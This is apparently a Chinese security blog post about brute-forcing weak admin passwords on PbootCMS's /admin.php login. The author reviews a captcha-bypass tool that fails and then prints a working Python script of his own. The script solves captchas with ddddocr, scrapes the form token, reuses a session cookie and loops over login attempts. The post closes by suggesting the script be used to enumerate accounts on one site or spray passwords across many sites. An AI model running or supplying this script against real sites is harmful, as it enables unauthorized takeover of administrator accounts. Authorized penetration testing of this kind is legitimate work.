最近想测测 pbootcms 后台弱口令的问题,发现需要绕过验证码,默认后台路径为 /admin.php,如图:

如果是自己写脚本实现,也并不难,验证码识别可以使用 python 的知名库 ddddocr:
https://github.com/sml2h3/ddddocr
这种验证码的识别率还是挺高的,然后再自动验证即可。为了省事,还是找找看有没有可以达成目标的开源工具吧。
在 github 上找到一个工具,名字叫 blaster,项目地址:
https://github.com/jixing-lab/blaster
看了下说明文档,使用起来相对比较麻烦,需要先启动一个服务器,用于识别验证码:

有个小 bug,需要修改代码,将端口号做强制类型转换:

接下来,修改配置文件,将目标相关信息填写到配置中:

这个好写,下面的配置要复杂一些,需要将页面中关键点的 js path 路径填写到配置中,复制 js path 路径的方式如下:

下面是完整的配置:

最后尝试,报错了,无法正常使用:

由于作者闭源,所以无法修改代码,只能说工具还不成熟,无法解决我的问题,最终还是自己写了一个脚本,来完成此工作,验证码识别部分:
def get_captcha(site):
captcha_url = f'{site}/core/code.php?0'
headers['Referer'] = site + '/admin.php'
image = requests.get(captcha_url, verify=False, headers=headers).content
res = ocr.classification(image)
return res由于 pbootcms 提交验证时,还需要填写一个 form 表单的 token,所以还需要获取一下:
def get_formcheck(site):
login_url = f'{site}/admin.php'
res = requests.get(login_url, headers=headers, verify=False)
formcheck = res.text.split('formcheck" value="')[1].split('"')[0]
return formcheck验证码识别结果是跟 cookie 中的 PbootSystem 值绑定的,所以,使用了固定的 session:
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Accept-Encoding': 'gzip, deflate, br',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'Sec-Fetch-Dest': 'document',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-Site': 'none',
'Sec-Fetch-User': '?1',
'TE': 'trailers',
'Cookie': 'PbootSystem=hsd0jg36vpboudh04uh1do5h98',
}最后就是综合起来验证账号密码:
def login(site, username, password):
try:
formcode = get_formcheck(site)
except:
return False
login_url = f'{site}/admin.php?p=/index/login'
headers['Referer'] = site + '/admin.php'
n = 0
while n < 3:
n += 1
captcha = get_captcha(site)
data = {
'username': username,
'password': password,
'checkcode': captcha,
'formcheck': formcode
}
res = requests.post(login_url, data=data, headers=headers, verify=False)
#print(res.text)
try:
info = res.json()
except:
return False
print(info)
if "验证码错误" in info["data"]:
print('验证码错误')
continue
elif info['code'] == 1 and "admin.php" in info["data"]:
return True
else:
break
return False最终效果:

脚本内容比较简单,根据自己需求进行组合即可,可以针对单一目标的多账户枚举,也可以针对多个目标的单账户喷洒,做安全还是要懂代码,工具不能解决全部的问题,也许工具还存在 bug,无法正常使用的情况,只能具体情况具体对待,路还很长,加油!
信安之路产品更新:

